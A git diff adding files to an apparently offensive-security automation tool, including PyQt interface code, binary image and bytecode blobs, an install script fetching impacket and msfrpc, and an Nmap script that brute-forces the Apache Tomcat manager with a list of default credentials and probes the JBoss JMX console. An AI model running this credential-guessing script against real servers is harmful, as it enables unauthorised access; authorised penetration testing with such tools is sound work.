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 Dno;yT literal 0 HcmV?d00001 diff --git a/install.sh b/install.sh new file mode 100755 index 0000000..c208800 --- /dev/null +++ b/install.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +apt-get install msgpack-python python-twisted python-pip + +pip install netifaces + +git clone https://github.com/CoreSecurity/impacket.git +cd impacket +python setup.py install +cd .. +rm -r impacket + +git clone git://github.com/SpiderLabs/msfrpc.git msfrpc +cd msfrpc/python-msfrpc/ +python setup.py install +cd ../.. +rm -r msfrpc/ + +service mysql start +mysql < createdb.sql diff --git a/logs/__init__.py b/logs/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/main.py b/main.py new file mode 100755 index 0000000..53398c8 --- /dev/null +++ b/main.py @@ -0,0 +1,74 @@ +#!/usr/bin/python + +from PyQt4 import QtGui, QtCore +from PyQt4.QtCore import QString +from PyQt4.QtGui import QApplication +from source.mainwindow import MainWindow +from source.choosefootprint import ChooseFootprintDialog + +import ConfigParser + +def main(): + from source import dbfunctions + import MySQLdb + import sys + + app = QApplication(sys.argv) + #app.setStyle("cleanlooks") + #plastique + #cde + #motif + #sgi + #windows + #cleanlooks + #mac + + conf = ConfigParser.ConfigParser() + conf.read("connections.conf") + + db = MySQLdb.connect(host="localhost", user=conf.get('MySQL', 'user'), passwd=conf.get('MySQL', 'pass'), db=conf.get('MySQL', 'db')) + db.autocommit(True) + + cursor = db.cursor() + cursor.execute("select footprint_name from footprints order by footprint_name") + + footprints_list = [ "" ] + for row in cursor.fetchall(): + footprints_list.append(row[0]) + + cursor.close() + + cftwnd = ChooseFootprintDialog() + cftwnd.setFootprints(footprints_list) + if cftwnd.exec_(): + footprintName, doWork, options = cftwnd.getResults() + + footprintID = dbfunctions.createFootprint(db, footprintName) + + wnd = MainWindow() + wnd.setWindowTitle("autodane : {0}".format(footprintName)) + wnd.setFootprintInfo(db, footprintID, footprintName, doWork, options) + wnd.show() + wnd.start() + + logoPixmap = QtGui.QPixmap(QString.fromUtf8('images/logo.png')) + logoScaledPixmap = logoPixmap.scaled(wnd.lblSensePostLogo.size(), QtCore.Qt.KeepAspectRatio) + wnd.lblSensePostLogo.setPixmap(logoScaledPixmap) + + emailPixmap = QtGui.QPixmap(QString.fromUtf8('images/email.png')) + emailScaledPixmap = emailPixmap.scaled(wnd.lblEmailIcon.size(), QtCore.Qt.KeepAspectRatio) + wnd.lblEmailIcon.setPixmap(emailScaledPixmap) + + emailScaledPixmap = emailPixmap.scaled(wnd.lblEmailIcon2.size(), QtCore.Qt.KeepAspectRatio) + wnd.lblEmailIcon2.setPixmap(emailScaledPixmap) + + skypePixmap = QtGui.QPixmap(QString.fromUtf8('images/skype.png')) + skypeScaledPixmap = skypePixmap.scaled(wnd.lblSkypeLogo.size(), QtCore.Qt.KeepAspectRatio) + wnd.lblSkypeLogo.setPixmap(skypeScaledPixmap) + else: + quit() + + sys.exit(app.exec_()) + +if __name__ == '__main__': + main() diff --git a/nmap/tomcat-scan.nse b/nmap/tomcat-scan.nse new file mode 100644 index 0000000..f64a3ba --- /dev/null +++ b/nmap/tomcat-scan.nse @@ -0,0 +1,145 @@ +description = [[ +Attempts to authenticate against apache tomcat manager console with default and weak passwords. +If the console is not found (/manager/html), a request is made to check for jboss jmx-console instead. +]] + +----------------------------------------------------------------- +-- @output +-- PORT STATE SERVICE VERSION +-- 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 +-- | tomcat-brute: HTTP/1.1 401 Unauthorized +-- | +-- | Basic realm=Tomcat Manager Application +-- |_[+] Found combination username:password ! +-- +-------------------------------OR-------------------------------- +-- @output +-- PORT STATE SERVICE VERSION +-- 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 +-- | tomcat-brute: /manager/html is HTTP 404 +-- |_[+] jboss jmx console is HTTP 200 ! +-- +----------------------------------------------------------------- +-- +-- Apache tomcat vulnscan script +-- ver 0.2 (26-12-2010) by spdr +-- Todo: Better identification of tomcat +-- Checkout: http://www.binaryvision.org.il/ +----------------------------------------------------------------- + +author = "spdr" + +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" + +categories = {"default", "auth", "intrusive"} + +local shortport = require "shortport" +local http = require "http" + +portrule = shortport.http + +action = function(host, port) + local www_authenticate + local challenges, basic_challenge + local authcombinations= { + { username = "admin", password = ""}, + { username = "admin", password = "admin"}, + { username = "admin", password = "tomcat"}, + { username = "admin", password = "manager"}, + { username = "admin", password = "secret"}, + { username = "admin", password = "1234"}, + { username = "admin", password = "12345"}, + { username = "admin", password = "123456"}, + { username = "admin", password = "12345678"}, + { username = "admin", password = "password"}, + { username = "admin", password = "changeit"}, + { username = "admin", password = "changeme"}, + { username = "tomcat", password = "tomcat"}, + { username = "tomcat", password = ""}, + { username = "tomcat", password = "admin"}, + { username = "tomcat", password = "manager"}, + { username = "tomcat", password = "secret"}, + { username = "tomcat", password = "1234"}, + { username = "tomcat", password = "12345"}, + { username = "tomcat", password = "123123"}, + { username = "tomcat", password = "123321"}, + { username = "tomcat", password = "123456"}, + { username = "tomcat", password = "12345678"}, + { username = "manager", password = "manager"}, + { username = "manager", password = "tomcat"}, + { username = "manager", password = "admin"}, + { username = "manager", password = "1234"}, + { username = "manager", password = "12345"}, + { username = "manager", password = "123456"}, + { username = "manager", password = "123123"}, + { username = "manager", password = "1234578"}, + } + + local result = {} + local answer = http.get(host, port, "/manager/html") + local jboss = http.get(host, port, "/jmx-console/HtmlAdaptor") + + --- check for HTTP 404 + if answer.status == 404 then + result[#result + 1] = string.format("/manager/html is HTTP %d.", answer.status) + if jboss.status == 200 then + result[#result + 1] = string.format("[+] Jboss JMX console is HTTP %d !", jboss.status) + end + return table.concat(result, "\n") + end + + --- check for 401 response code + if answer.status ~= 401 then + result[#result + 1] = string.format("No auth required. (HTTP %d)", answer.status) + return table.concat(result, "\n") + end + + result[#result + 1] = answer["status-line"] + + www_authenticate = answer.header["www-authenticate"] + if not www_authenticate then + result[#result + 1] = string.format("Server returned status %d but no WWW-Authenticate.", answer.status) + return table.concat(result, "\n") + end + challenges = http.parse_www_authenticate(www_authenticate) + if not challenges then + result[#result + 1] = string.format("Server returned status %d but the WWW-Authenticate header could not be parsed.", answer.status) + result[#result + 1] = string.format("WWW-Authenticate: %s", www_authenticate) + return table.concat(result, "\n") + end + + basic_challenge = nil + for _, challenge in ipairs(challenges) do + if challenge.scheme == "Basic" then + basic_challenge = challenge + end + local line = challenge.scheme + for name, value in pairs(challenge.params) do + line = line .. string.format(" %s=%s", name, value) + if value ~= "Tomcat Manager Application" then -- Its not tomcat, save the effort ... + result[#result + 1] = string.format("%s is not tomcat.", value) + return table.concat(result, "\n") + end + end + result[#result + 1] = line + end + + if basic_challenge then + for _, auth in ipairs(authcombinations) do + answer = http.get(host, port, '/manager/html', {auth = auth}) + if answer.status == 403 then + result[#result + 1] = string.format("[=] Tomcat will accept %s:%s, but management is disbaled.", auth.username, auth.password, answer.status) + return table.concat(result, "\n") + end + if answer.status ~= 401 and answer.status ~= 403 then + result[#result + 1] = string.format("[+] Found combination %s:%s !", auth.username, auth.password) + return table.concat(result, "\n") + end + end + if answer.status == 401 then + result[#result + 1] = string.format("[-] The password was not found.") + end + end + + return table.concat(result, "\n") +end diff --git a/nmap_temp/__init__.py b/nmap_temp/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/readme b/readme new file mode 100644 index 0000000..716a078 --- /dev/null +++ b/readme @@ -0,0 +1,3 @@ +Run install.sh. This will install all the prerequisites + +After that, simply run ./main.py diff --git a/source/Ui_adddomain.py b/source/Ui_adddomain.py new file mode 100644 index 0000000..b05b5a9 --- /dev/null +++ b/source/Ui_adddomain.py @@ -0,0 +1,62 @@ +# -*- coding: utf-8 -*- + +# Form implementation generated from reading ui file '/root/autodane/source/adddomain.ui' +# +# Created: Wed Sep 30 22:28:04 2015 +# by: PyQt4 UI code generator 4.9.3 +# +# WARNING! All changes made in this file will be lost! + +from PyQt4 import QtCore, QtGui + +try: + _fromUtf8 = QtCore.QString.fromUtf8 +except AttributeError: + _fromUtf8 = lambda s: s + +class Ui_Dialog(object): + def setupUi(self, Dialog): + Dialog.setObjectName(_fromUtf8("Dialog")) + Dialog.resize(395, 96) + self.verticalLayout = QtGui.QVBoxLayout(Dialog) + self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) + self.horizontalLayout = QtGui.QHBoxLayout() + self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout")) + self.label = QtGui.QLabel(Dialog) + self.label.setObjectName(_fromUtf8("label")) + self.horizontalLayout.addWidget(self.label) + self.txtDomain = QtGui.QLineEdit(Dialog) + self.txtDomain.setObjectName(_fromUtf8("txtDomain")) + self.horizontalLayout.addWidget(self.txtDomain) + self.verticalLayout.addLayout(self.horizontalLayout) + spacerItem = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding) + self.verticalLayout.addItem(spacerItem) + self.horizontalLayout_2 = QtGui.QHBoxLayout() + self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) + self.btnOk = QtGui.QPushButton(Dialog) + self.btnOk.setObjectName(_fromUtf8("btnOk")) + self.horizontalLayout_2.addWidget(self.btnOk) + self.btnCancel = QtGui.QPushButton(Dialog) + self.btnCancel.setObjectName(_fromUtf8("btnCancel")) + self.horizontalLayout_2.addWidget(self.btnCancel) + self.verticalLayout.addLayout(self.horizontalLayout_2) + + self.retranslateUi(Dialog) + QtCore.QMetaObject.connectSlotsByName(Dialog) + + def retranslateUi(self, Dialog): + Dialog.setWindowTitle(QtGui.QApplication.translate("Dialog", "Add Domain", None, QtGui.QApplication.UnicodeUTF8)) + self.label.setText(QtGui.QApplication.translate("Dialog", "Domain", None, QtGui.QApplication.UnicodeUTF8)) + self.btnOk.setText(QtGui.QApplication.translate("Dialog", "OK", None, QtGui.QApplication.UnicodeUTF8)) + self.btnCancel.setText(QtGui.QApplication.translate("Dialog", "Cancel", None, QtGui.QApplication.UnicodeUTF8)) + + +if __name__ == "__main__": + import sys + app = QtGui.QApplication(sys.argv) + Dialog = QtGui.QDialog() + ui = Ui_Dialog() + ui.setupUi(Dialog) + Dialog.show() + sys.exit(app.exec_()) + diff --git a/source/Ui_adddomain.pyc b/source/Ui_adddomain.pyc new file mode 100644 index 0000000000000000000000000000000000000000..1404dbbd73fd845d77838dd6f8a285886b9f91d5 GIT binary patch literal 2504 zcmbtW&2A$_5Uw8o#CGh&i4y|>1W164R$5DF4|_l>l5F@9StlOH8}MZq&vcTWjHj)c z_O87Or*Pw0cnl7_1TVoA394#loGcp->^hltcXfUBUo|fL*{J=|Z9MfL`;_qeOMH^w zaq;nAKnO4qFcL7aU}S+$Ax(SuBs;iBi~cRd%#|K zvuik>z`L3QrSMG#zp@_`jMrKqlZ4LYi z_*EduSSHPUvjNvd_{m~!^m7xgEE3KZEIn-Tbt_k2%hi*xty^YpGv9X3x0>^jO^8lC z++NDR4Q(^DokQ6dvg0Lao1rgx*jkd_$_x?aZ3y0hU?)FgnG8A&tb`s{dsa)p|?dCY~Zwveu<2h8RjFz0h_ ztg(rXE*XfseK+!C*m;*QWLP52(KwKv>A4fhOwL)XCqr}gkWG$dqFzXwTEML0(toG&=7va3p0@TO8EjLdv0QAwQ{|sa!>9hCisXT>j7>e4Gh{JfMT4p9$@p6% zC#jAB+HtHyK-adLBnOZ?Grx;xE&1$SzV=T<>PByuw=iFIJpF|B_m|iJx?|+z9 ze%eml1crP(`i?1Cb#vyaw=j;UD)RO76J^4ziYfX1-RTr7$u$bQj0-R?1I}qrN0KXN z7%5Nta(MF9!?cjI(W+vrTqTp&u{$<^eZL zIusd7StRzSbRb*Y`1~1D z-RYG3x}T2EwAm=>GsV8AZFr%d^G42j<)#`zI{6h7mhBz9u*<0Nfq3baM4t4gE-Dsh2ONuWO}gm{gi%|)%v?j(#^?^?TK zh!MR?AE)YD^rA1(2k31dp#9F7U1LH(sMwzI%$f6l&YUyle;W0_HX9ED%0E^7e~pp- zi7CWSQA9LQw5MoLqP-HS@e*l8{WA3{v{$8v@mZ?q8G2l&bc>WyVTpbvK8Y3m7?w%T z(t)C|!q8))pZ4ZR*C?#g;}WHRh>#hI>aY;fCtJ2HX7 zsuwrp+`-?501mN$AJ=(xI`NSu#okz1cNAKMccU z;F~x|b(mcmj_n*su1Ef0KlE=bG7k*0HB3McjUOe40fYF%;g+0R{kmFaTV?@oo?;-n>Og17btOK|2a!3BH~6L5Bx ztW9K3$7EgDt{0@@{lbz7>AH}k-K@Xi%@;@Uz@P&*6HO>~+jJujr^3sO=171HysTDUO* zUC0$td>KBb{wKvA*SgbM!_D2166NZE`5Ohm{0^u+gXxJ*tqJ_-jz3OD)-D0`C`rw; zB(??6>;h;oNXlE}@9W4mcza}TNgdkp2imRxa+0)n*>bHE60GMPQ8&|R{92MLQzTak zl3hQ`o+fE%R>8t>u{>SgRZ(%@#`hje`NL}4j{_aGK4lu#I@9*veqRSxwB{PwJ4lm3 z*B)FGH>El=&$P#7Qlz&ZY$Zp|Jswwj2mI~@kS%mQ;10XS<6%G&dGxP(UesA?4 z-$Tr95}9BuF3oijzPFEtejJ+kP)?u*Q+XVHN4h)89&I5XlGs~jAsk%s9(r8r$64fC z-8ByPuC~7OsKg{l;uzlTM2XF|#_Z%4dInkUf0>RBJnkiy&B-SEzFYU>0KnIyVb`#p z+0U3rHPw<@QR`|EV?}LXZpyxi|F?x*1P_NhMO|tr>5JSOIU%+&vNG~z(ihPR@t{F> z|>ir38vR5a1k6+l@zfjWB{ zDyTaxPW~MUamLwnGYl`d8gXHpA1iWC96%l|lTyHR#U;1w*?T_-Zhm_?=Zib_(8OW# z^uDoCeoOhVeRDWOru){Qa>?~6(o_;}CyBLWYd1DQ66)^#Z?3tEnkUbFePrGBl1nv7 zdU*zUpFx5c^-hWET?Ct37#V9!s-?cjzpV=P;*egCD`T%G7o^u4B;hE+*83a?LjOVo zS^baKqQ}D6KzWkRsM_URGCwJMy&Y*8Qb%{kZF^PfmMe$st9HkxTsJsiMcwqcDoc27 zTAc2WtiGM5Nh%Rcq}Ym3?<>aRYLJaH?@QjWE`ECWM4+tl#m5g!@jQm1L2Q- AJOBUy literal 0 HcmV?d00001 diff --git a/source/Ui_addhost.py b/source/Ui_addhost.py new file mode 100644 index 0000000..e08a419 --- /dev/null +++ b/source/Ui_addhost.py @@ -0,0 +1,58 @@ +# -*- coding: utf-8 -*- + +# Form implementation generated from reading ui file '/root/autodane/source/addhost.ui' +# +# Created: Wed Sep 30 22:28:03 2015 +# by: PyQt4 UI code generator 4.9.3 +# +# WARNING! All changes made in this file will be lost! + +from PyQt4 import QtCore, QtGui + +try: + _fromUtf8 = QtCore.QString.fromUtf8 +except AttributeError: + _fromUtf8 = lambda s: s + +class Ui_Dialog(object): + def setupUi(self, Dialog): + Dialog.setObjectName(_fromUtf8("Dialog")) + Dialog.resize(402, 78) + self.formLayout = QtGui.QFormLayout(Dialog) + self.formLayout.setObjectName(_fromUtf8("formLayout")) + self.splitter_2 = QtGui.QSplitter(Dialog) + self.splitter_2.setOrientation(QtCore.Qt.Horizontal) + self.splitter_2.setObjectName(_fromUtf8("splitter_2")) + self.label = QtGui.QLabel(self.splitter_2) + self.label.setObjectName(_fromUtf8("label")) + self.txtHost = QtGui.QLineEdit(self.splitter_2) + self.txtHost.setObjectName(_fromUtf8("txtHost")) + self.formLayout.setWidget(0, QtGui.QFormLayout.SpanningRole, self.splitter_2) + self.splitter = QtGui.QSplitter(Dialog) + self.splitter.setOrientation(QtCore.Qt.Horizontal) + self.splitter.setObjectName(_fromUtf8("splitter")) + self.btnOK = QtGui.QPushButton(self.splitter) + self.btnOK.setObjectName(_fromUtf8("btnOK")) + self.btnCancel = QtGui.QPushButton(self.splitter) + self.btnCancel.setObjectName(_fromUtf8("btnCancel")) + self.formLayout.setWidget(1, QtGui.QFormLayout.FieldRole, self.splitter) + + self.retranslateUi(Dialog) + QtCore.QMetaObject.connectSlotsByName(Dialog) + + def retranslateUi(self, Dialog): + Dialog.setWindowTitle(QtGui.QApplication.translate("Dialog", "Add Host", None, QtGui.QApplication.UnicodeUTF8)) + self.label.setText(QtGui.QApplication.translate("Dialog", " IP Address", None, QtGui.QApplication.UnicodeUTF8)) + self.btnOK.setText(QtGui.QApplication.translate("Dialog", "OK", None, QtGui.QApplication.UnicodeUTF8)) + self.btnCancel.setText(QtGui.QApplication.translate("Dialog", "Cancel", None, QtGui.QApplication.UnicodeUTF8)) + + +if __name__ == "__main__": + import sys + app = QtGui.QApplication(sys.argv) + Dialog = QtGui.QDialog() + ui = Ui_Dialog() + ui.setupUi(Dialog) + Dialog.show() + sys.exit(app.exec_()) + diff --git a/source/Ui_addhost.pyc b/source/Ui_addhost.pyc new file mode 100644 index 0000000000000000000000000000000000000000..0ce2113ec35d13c2739caead3c430353625b0852 GIT binary patch literal 2397 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 